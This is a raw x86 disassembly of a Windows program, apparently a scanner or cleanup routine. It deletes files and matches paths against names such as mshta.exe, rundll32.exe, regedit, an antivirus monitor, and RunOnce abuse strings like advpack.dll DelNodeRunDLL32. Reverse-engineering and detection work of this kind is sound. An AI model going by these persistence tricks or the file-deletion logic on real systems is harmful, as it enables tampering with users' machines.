mov dword [ebp - 0x2c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov dword [0x57cf78], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [0x57cf7c], 1
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf80], edx
rep movsb byte es:[edi], byte [esi]
jne 0x408516
mov dword [0x57cf80], ebx
cmp dword [0x57cf60], 1
jne 0x4085ba
mov ecx, dword [0x54d6a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ecx
call ebx
mov edx, dword [0x57cf68]
mov edi, 0x52d4dc
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x5492c0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x2c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov dword [0x57cf60], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [0x57cf64], 1
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf68], edx
rep movsb byte es:[edi], byte [esi]
jne 0x4085c0
mov edi, 0x52d4dc
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cf68], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x5492c0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4085c0
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4085d2
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4087dd
mov eax, dword [0x4e02a8]
mov esi, 1
cmp eax, esi
jne 0x4085ed
push 0x519424
call fcn.00449460
add esp, 4
cmp dword [0x54ab88], esi
jne 0x408602
push 0x519424
call fcn.00449460
add esp, 4
cmp dword [0x4e02a8], esi
jne 0x4086d9
push 0x4cc184
call fcn.0045a020
mov eax, dword [0x54d6a4]
add esp, 4
push str..bat
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40863b
mov ecx, dword [0x54d6a4]
push ecx
call ebx
mov edx, dword [0x54d6a4]
push str..pif
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40865b
mov eax, dword [0x54d6a4]
push eax
call ebx
mov ecx, dword [0x54d6a4]
push str..com
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40867c
mov edx, dword [0x54d6a4]
push edx
call ebx
mov edx, dword [0x57cdac]
mov edi, dword [0x54d6a4]
mov esi, edx
or ecx, 0xffffffff
shl esi, 8
xor eax, eax
add esi, 0x51b658
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x2c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x19
mov dword [0x57cdac], edx
jne 0x4086ca
mov dword [0x57cdac], 0
mov dword [0x57cda8], 1
mov esi, 1
cmp dword [0x4df5e4], esi
jne 0x40877d
push 0x5614e0
call fcn.0045a020
mov ecx, dword [0x54d6a4]
add esp, 4
push ecx
call ebx
mov edx, dword [0x57cf74]
mov edi, 0x4f1b54
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 6
xor eax, eax
add ebx, 0x4e16ac
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x4df5e4], 0
mov eax, ecx
mov esi, edi
mov edi, ebx
mov dword [0x57cf70], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cf74], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40877d
mov edi, 0x4f1b54
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cf74], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x4e16ac
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x54d92c]
mov ebx, 1
cmp eax, ebx
jne 0x4087ba
cmp dword [0x54fdd4], ebx
je 0x4087ba
push 0x50ed70
call fcn.0042d100
add esp, 4
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
cmp dword [0x57cc28], ebx
jne 0x4087e2
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4087e2
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4087e2
push 0x54ba54
call fcn.0045a020
add esp, 4
mov ebx, 1
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4087f0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x408813
cmp dword [0x57cc28], ebx
jne 0x408813
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x408813
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x408813
push 0x54ba54
call fcn.0045a020
add esp, 4
cmp dword [0x4e02a8], ebx
jne 0x408a53
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x40882d
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4088a1
mov edx, dword [0x57cfec]
mov edi, 0x51a194
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x54e57c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x1c]
mov dword [0x57cfe8], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfec], edx
rep movsb byte es:[edi], byte [esi]
jne 0x4088a1
mov edi, 0x51a194
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cfec], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x54e57c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x491a04
push 0x57cb28
call fcn.0047bec0
push 0x491a00
push 0x57cb28
mov esi, eax
call fcn.0047bec0
push 0x491cf4
push 0x57cb28
mov edi, eax
call fcn.0047bec0
push 0x491cf0
push 0x57cb28
mov ebx, eax
call fcn.0047bec0
push str.regedit
push 0x57cb28
mov dword [ebp - 0x1c], eax
call fcn.0047bec0
push str.KVMonXP.kxp
push 0x57cb28
mov dword [ebp - 0x2c], eax
call fcn.0047bec0
add esp, 0x30
test esi, esi
jne 0x40892e
test edi, edi
jne 0x40892e
test ebx, ebx
jne 0x40892e
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x40892e
test eax, eax
jne 0x40892e
push 0x4cc184
call fcn.0045a020
add esp, 4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x408942
push 0x4cc184
call fcn.0045a020
add esp, 4
mov eax, dword [0x5615e0]
mov esi, 1
cmp eax, esi
jne 0x40895d
push 0x4cc184
call fcn.0045a020
add esp, 4
cmp dword [0x54e7fc], esi
jne 0x408989
push 0x4cc184
call fcn.0045a020
mov eax, dword [0x57ce4c]
add esp, 4
cmp eax, 0xa
jle 0x408989
push str.iexplore.exe
call fcn.00432070
add esp, 4
cmp dword [0x57ce70], esi
jne 0x408a4e
mov eax, dword [ebp - 0x24]
mov dword [0x57ce70], 0
test eax, eax
jne 0x408a4e
mov eax, dword [0x54d6a4]
push eax
call fcn.004246a0
add esp, 4
cmp eax, esi
jle 0x408a4e
cmp eax, 0x25800
jge 0x408a4e
push 0x4cc184
call fcn.0042bb60
mov eax, dword [0x57d034]
mov ecx, dword [0x54d6a4]
add esp, 4
test eax, eax
push ecx
jne 0x408a0a
lea edx, [ebp - 0x6b8]
push 0x491994
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x6b8]
push eax
call fcn.00404010
add esp, 0x10
jmp 0x408a4e
lea edx, [ebp - 0x6b8]
push 0x491950
push edx
call fcn.0047a8f8
add esp, 0xc
lea eax, [ebp - 0x6b8]
mov ecx, 0x6a
mov esi, 0x519c28
push eax
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov ebx, 1
cmp dword [0x54f98c], ebx
je 0x408a67
cmp dword [0x4df40c], ebx
jne 0x408b34
cmp dword [0x4e02a8], ebx
jne 0x408b34
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x408b34
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x408b34
push 0x57d044
push 0x4cc184
call fcn.0045a2b0
mov eax, dword [0x57d034]
mov ecx, dword [0x54d6a4]
add esp, 8
test eax, eax
push ecx
jne 0x408acd
lea edx, [ebp - 0x8b8]
push 0x491994
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x8b8]
push eax
call fcn.00404010
add esp, 0x10
jmp 0x408b11
lea edx, [ebp - 0x8b8]
push 0x491950
push edx
call fcn.0047a8f8
add esp, 0xc
lea eax, [ebp - 0x8b8]
mov ecx, 0x6a
mov esi, 0x519c28
push eax
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
cmp dword [0x57ce48], 0xa
jle 0x408b34
push str.mshta.exe
call fcn.00432070
add esp, 4
push str.rundll32.exe
call fcn.00432070
add esp, 4
cmp dword [0x52d1d8], ebx
jne 0x408c08
cmp dword [0x4e02a8], ebx
jne 0x408c08
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x408c08
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x408c08
push 0x4cc184
call fcn.0042bb60
mov eax, dword [0x57d034]
mov ecx, dword [0x54d6a4]
add esp, 4
test eax, eax
push ecx
jne 0x408ba1
lea edx, [ebp - 0x4b8]
push 0x491994
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x4b8]
push eax
call fcn.00404010
add esp, 0x10
jmp 0x408be5
lea edx, [ebp - 0x4b8]
push 0x491950
push edx
call fcn.0047a8f8
add esp, 0xc
lea eax, [ebp - 0x4b8]
mov ecx, 0x6a
mov esi, 0x519c28
push eax
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
cmp dword [0x57ce48], 0xa
jle 0x408c08
push str.mshta.exe
call fcn.00432070
add esp, 4
push str.rundll32.exe
call fcn.00432070
add esp, 4
push 0x5196a8
call fcn.00403990
add esp, 4
push 0x5196a8
push 0x51afd8
push 0x491924
push 0x4f1954
call fcn.0047a8f8
mov ebx, dword [ebp - 0x38]
add esp, 0x10
mov ecx, dword [ebp - 0x30]
lea edx, [ecx + ebx + 0x18]
mov dword [ebp - 0x30], edx
jmp 0x4059b9
push str.Adobe_Corporation
push 0x4f1934
push 0x50d7a8
lea ecx, [ebp - 0x3b8]
push 0x4918e0
push ecx
call fcn.0047a8f8
add esp, 0x14
cmp dword [0x57cc4c], edi
jne 0x408c91
push str.MacroMediaE
push 0x4f1934
push 0x50d7a8
lea edx, [ebp - 0x3b8]
push 0x49189c
push edx
call fcn.0047a8f8
add esp, 0x14
cmp dword [0x57cc50], edi
jne 0x408cde
xor ebx, ebx
xor esi, esi
cmp esi, 6
jge 0x408ce0
cmp dword [esi*4 + 0x57cd28], edi
jne 0x408cdb
mov eax, esi
lea ecx, [ebp - 0x3b8]
shl eax, 8
add eax, str.ServerNT.exe
push eax
push 0x4f1934
push 0x50d7a8
push 0x48bad0
push ecx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd28], ebx
inc esi
jmp 0x408c9d
xor ebx, ebx
mov eax, dword [0x57d034]
mov dword [0x57cc48], ebx
cmp eax, ebx
mov dword [0x57cc4c], ebx
mov dword [0x57cc50], ebx
push 0x51afd8
jne 0x408d0a
call fcn.00403680
add esp, 4
jmp 0x408d33
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x408d50
lea edx, [ebp - 0x3b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0x3b8]
jmp 0x405c56
add ecx, 0x21c
mov dword [ebp - 0x28], ecx
mov esi, dword [ebp - 0x34]
mov eax, dword [esi + 0x214]
lea ecx, [esi + 0x10210]
lea eax, [eax + esi + 0x21c]
cmp eax, ecx
jb 0x408d80
mov eax, ecx
mov ecx, dword [ebp - 0x28]
cmp ecx, eax
jae 0x40bbbe
lea edx, [ecx + 0x10]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
cmp ebx, 0xfff
mov dword [ebp - 0x38], ebx
jbe 0x408db1
mov eax, dword [ebp - 0x28]
mov byte [eax + 0x100f], 0
push edx
mov ecx, esi
call fcn.0040bbe0
test eax, eax
je 0x40ba32
add esi, 0x20204
push 0xfa
push esi
push 0x51afd8
call fcn.0047b120
push str.regService
push 0x51afd8
call fcn.0047bec0
add esp, 0x14
test eax, eax
jne 0x408d64
push str.:endp_
push 0x51afd8
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x408d64
mov eax, dword [0x54ea84]
mov edi, 1
cmp eax, edi
jne 0x408e7c
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x408e31
call fcn.00403680
add esp, 4
jmp 0x408e5f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57cd8c]
test eax, eax
jne 0x408d64
call fcn.0044aa20
mov dword [0x57cd8c], edi
jmp 0x408d64
cmp dword [0x540f64], edi
jne 0x408ecd
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x408e9f
call fcn.00403680
add esp, 4
jmp 0x408d64
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
jmp 0x408d64
cmp dword [0x563f24], edi
je 0x409ca2
cmp dword [0x4dec88], edi
je 0x409ca2
cmp dword [0x54fc50], edi
je 0x409ca2
cmp dword [0x54be58], edi
je 0x409ca2
cmp dword [0x4ca378], edi
je 0x409ca2
cmp dword [0x54d9b0], edi
jne 0x408f2f
cmp dword [0x54d92c], edi
jne 0x408f2f
mov eax, dword [0x57cff0]
test eax, eax
jne 0x408f2f
mov eax, dword [0x57cffc]
test eax, eax
je 0x409ca2
cmp dword [0x57cd84], edi
jne 0x40901a
push 0x50ed70
call fcn.00435510
mov eax, dword [0x57cd68]
add esp, 4
cmp eax, edi
push 0x50ed70
jne 0x408f64
lea ecx, [ebp - 0x4b8]
push str._s_
push ecx
jmp 0x408f70
lea edx, [ebp - 0x4b8]
push 0x4920f4
push edx
call fcn.0047a8f8
add esp, 0xc
push 0x50ed70
call fcn.0045a860
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x51afd8
jne 0x408f9d
call fcn.00403680
add esp, 4
jmp 0x408fcb
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
test eax, eax
jne 0x408fe5
lea eax, [ebp - 0x4b8]
push eax
call fcn.00404010
add esp, 4
jmp 0x40901a
lea ecx, [ebp - 0x4b8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
cmp dword [0x57cc3c], edi
jne 0x4090dc
push str.Broadcom_Corporation
lea edx, [ebp - 0xbb8]
push 0x4920c8
push edx
mov dword [0x57cc3c], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x51afd8
jne 0x409061
call fcn.00403680
add esp, 4
jmp 0x40908a
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x4090a7
lea eax, [ebp - 0xbb8]
push eax
call fcn.00404010
add esp, 4
jmp 0x408d64
lea ecx, [ebp - 0xbb8]
push ecx
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
jmp 0x408d64
cmp dword [0x57cc48], edi
je 0x40ba41
cmp dword [0x57cc4c], edi
je 0x40ba6c
cmp dword [0x57cc50], edi
je 0x40ba64
cmp dword [0x57cc54], edi
jne 0x4091c2
xor ebx, ebx
xor esi, esi
cmp esi, 6
jge 0x409152
cmp dword [esi*4 + 0x57cd40], edi
jne 0x40914f
mov edx, esi
lea eax, [ebp - 0x9b8]
shl edx, 8
add edx, str.ProtectorA.sys
push edx
push 0x4f1934
push 0x50d7a8
push 0x48bad0
push eax
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd40], ebx
inc esi
jmp 0x409110
mov eax, dword [0x57d034]
mov dword [0x57cc54], ebx
cmp eax, ebx
push 0x51afd8
jne 0x409170
call fcn.00403680
add esp, 4
jmp 0x409199
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x4091b6
lea ecx, [ebp - 0x9b8]
push ecx
call fcn.00404010
add esp, 4
jmp 0x408d64
lea edx, [ebp - 0x9b8]
push edx
jmp 0x4090ae
cmp dword [0x57cd88], edi
jne 0x40927c
call fcn.00449d50
lea eax, [ebp - 0xab8]
push 0x491874
push eax
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 8
test eax, eax
push 0x51afd8
jne 0x4091ff
call fcn.00403680
add esp, 4
jmp 0x40922d
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
test eax, eax
jne 0x409247
lea ecx, [ebp - 0xab8]
push ecx
call fcn.00404010
add esp, 4
jmp 0x40927c
lea edx, [ebp - 0xab8]
mov ecx, 0x6a
push edx
push 0x54e900
push 0x54ab8c
mov esi, 0x519c28
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
cmp dword [0x57ce10], edi
jne 0x4093a9
push str.OracleOraHome92TNSListener
push 0x50ed70
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x4092fb
push str.OracleOraHome
push 0x50ed70
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4092fb
push 0x50ed70
call fcn.00435510
mov eax, dword [0x57cd68]
add esp, 4
cmp eax, edi
push 0x50ed70
push 0x49203c
jne 0x4092dd
lea eax, [ebp - 0x3b8]
push eax
jmp 0x4092e4
lea ecx, [ebp - 0x3b8]
push ecx
call fcn.0047a8f8
add esp, 0xc
push 0x50ed70
call fcn.0045a860
add esp, 4
jmp 0x409314
push 0x50ed70
lea edx, [ebp - 0x3b8]
push str._s_ORACLE
push edx
call fcn.0047a8f8
add esp, 0xc
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x40932c
call fcn.00403680
add esp, 4
jmp 0x40935a
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
test eax, eax
jne 0x409374
lea eax, [ebp - 0x3b8]
push eax
call fcn.00404010
add esp, 4
jmp 0x4093a9
lea ecx, [ebp - 0x3b8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
cmp dword [0x54fe5c], edi
jne 0x4093d4
push 0x492024
push 0x51afd8
call fcn.0047bec0
xor esi, esi
add esp, 8
cmp eax, esi
jne 0x4093d6
cmp dword [0x57d034], esi
jmp 0x409ca9
xor esi, esi
cmp dword [0x4a2fe4], edi
jne 0x40941a
push 0x51acd8
mov dword [0x4a2fe4], esi
call fcn.00448ce0
add esp, 4
cmp eax, 2
jne 0x40940f
push 0x4a51ac
call fcn.0045a020
add esp, 4
mov dword [0x57cc90], edi
mov dword [0x57cec0], edi
cmp dword [0x57d034], esi
jmp 0x409ca9
cmp dword [0x513010], edi
jne 0x409452
push 0x54c1a4
mov dword [0x513010], esi
call fcn.0045aa80
add esp, 4
cmp eax, 2
jne 0x409447
push 0x4a51ac
call fcn.0045a020
add esp, 4
cmp dword [0x57d034], esi
jmp 0x409ca9
cmp dword [0x54bf5c], edi
jne 0x4094d1
push 0x51abd4
mov dword [0x54bf5c], esi
call fcn.00448ce0
add esp, 4
cmp eax, 2
jne 0x40948b
push 0x4a51ac
call fcn.0045a020
add esp, 4
mov dword [0x57cc8c], edi
mov dword [0x57cec0], edi
mov eax, dword [0x57d034]
push 0x51afd8
cmp eax, esi
jne 0x4094a3
call fcn.00403680
add esp, 4
jmp 0x4094d1
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
cmp dword [0x50be18], edi
jne 0x4094e3
call fcn.00434540
jmp 0x409ca2
cmp dword [0x52d51c], edi
jne 0x4094f5
call fcn.00434b90
jmp 0x409ca2
cmp dword [0x50fa48], edi
jne 0x409507
call fcn.00433460
jmp 0x409ca2
cmp dword [0x54a080], edi
jne 0x4096a4
push 0x57cb28
call fcn.0044ae90
add esp, 4
mov ebx, eax
push str.advpack.dll_DelNodeRunDLL32
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40953d
mov ebx, 2
push str.sxs.dll_SxspRunDllDeleteDirectory
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x409558
mov ebx, 2
push str.grpconv__o
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x409575
mov ebx, 2
jmp 0x4095a2
cmp ebx, 1
jne 0x4095a2
push 0x80
push str.c:endpcache_runonce_info.txt
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.c:endpcache_runonce_info.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x54e800
call fcn.0045a020
add esp, 4
cmp dword [0x4df40c], 1
jne 0x4095b8
push 0x54e800
call fcn.0045a020
add esp, 4
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x4095d0
call fcn.00403680
add esp, 4
jmp 0x4095f9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov ecx, dword [0x57ce00]
mov eax, 1
cmp ecx, eax
jne 0x409653
push 0x4a3b6c
lea edx, [ebp - 0xfb8]
push 0x491f44
push edx
mov dword [0x57ce00], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
jne 0x409648
lea eax, [ebp - 0xfb8]
push eax
call fcn.00404010
add esp, 4
jmp 0x408d64
lea ecx, [ebp - 0xfb8]
jmp 0x4090ad
cmp ebx, eax
je 0x409663
cmp dword [0x4df40c], eax
jne 0x408d64
push 0x4a3b6c
lea edx, [ebp - 0x11b8]
push 0x491ef8
push edx
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
jne 0x409699
lea eax, [ebp - 0x11b8]
push eax
call fcn.00404010
add esp, 4
jmp 0x408d64
lea ecx, [ebp - 0x11b8]
jmp 0x4090ad
cmp dword [0x54d928], edi
jne 0x4096b6
call fcn.00435c10
jmp 0x409ca2
cmp dword [0x54bf60], edi
jne 0x409725
cmp dword [0x54f98c], edi
jne 0x409ca2
push 0x57d044
push 0x54c024
call fcn.0045a2b0
mov eax, dword [0x57d034]
add esp, 8
test eax, eax
push 0x491fe0
jne 0x4096f7
call fcn.00404010
add esp, 4
jmp 0x409ca2
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
jmp 0x409ca2
cmp dword [0x57cc58], edi
jne 0x409832
xor ebx, ebx
xor esi, esi
mov dword [0x57cc58], ebx
cmp esi, 7
jge 0x40977d
cmp dword [esi*4 + 0x57cd0c], edi
jne 0x40977a
mov edx, esi
lea eax, [ebp - 0x8b8]
shl edx, 8
add edx, 0x48d098
push edx
push 0x4f1934
push 0x50d7a8
push 0x491ed0
push eax
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd0c], ebx
inc esi
jmp 0x40973b
cmp dword [0x57cc34], edi
jne 0x4097c9
xor esi, esi
cmp esi, 2
jge 0x4097c9
cmp dword [esi*4 + 0x57cd04], edi
jne 0x4097c6
mov ecx, esi
lea edx, [ebp - 0x8b8]
shl ecx, 8
add ecx, 0x48c398
push ecx
push 0x4f1934
push 0x50d7a8
push 0x491ed0
push edx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd04], ebx
inc esi
jmp 0x409787
mov eax, dword [0x57d034]
push 0x51afd8
cmp eax, ebx
jne 0x4097e1
call fcn.00403680
add esp, 4
jmp 0x40980a
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x409827
lea eax, [ebp - 0x8b8]
push eax
call fcn.00404010
add esp, 4
jmp 0x408d64
lea ecx, [ebp - 0x8b8]
jmp 0x4090ad
cmp dword [0x50d828], edi
je 0x409ca2
cmp dword [0x51acd4], edi
jne 0x409935
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409862
call fcn.00403680
add esp, 4
jmp 0x409890
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
push 0x491ecc
push 0x54fc54
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4098f9
push 0x54fc54
call fcn.00433ca0
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491e8c
jne 0x4098cb
call fcn.00404010
add esp, 4
jmp 0x4098f9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
call fcn.004352b0
movsx eax, ax
cmp eax, edi
jne 0x408d64
push 0x54fc54
call fcn.00433e50
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491e50
jne 0x4090ae
call fcn.00404010
add esp, 4
jmp 0x408d64
cmp dword [0x4a2fe0], edi
jne 0x40994f
push 0x4a3068
call fcn.0045a020
add esp, 4
call fcn.0046d6d0
cmp dword [0x5490b0], edi
jne 0x409964
push 0x512490
call fcn.0045a020
add esp, 4
cmp dword [0x4e192c], edi
jne 0x409983
push 0x54e078
call fcn.0045a020
add esp, 4
call fcn.004542b0
jmp 0x409ca2
cmp dword [0x4a3b68], edi
jne 0x4099a2
push 0x50c224
call fcn.0045a020
add esp, 4
call fcn.004542b0
jmp 0x409ca2
cmp dword [0x57ce34], edi
jne 0x4099b9
mov dword [0x57ce34], 0
jmp 0x409ca2
cmp dword [0x4e1930], edi
je 0x409ca2
cmp dword [0x4ca230], edi
jne 0x4099e9
call fcn.0045b440
push 0x57d044
push 0x4df454
call fcn.0045a2b0
add esp, 8
jmp 0x409ca2
cmp dword [0x50be1c], edi
jne 0x409a8e
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x409a0d
call fcn.00403680
add esp, 4
jmp 0x409a3b
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
push 0x491e10
test eax, eax
jne 0x409a53
call fcn.00404010
add esp, 4
jmp 0x409a81
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
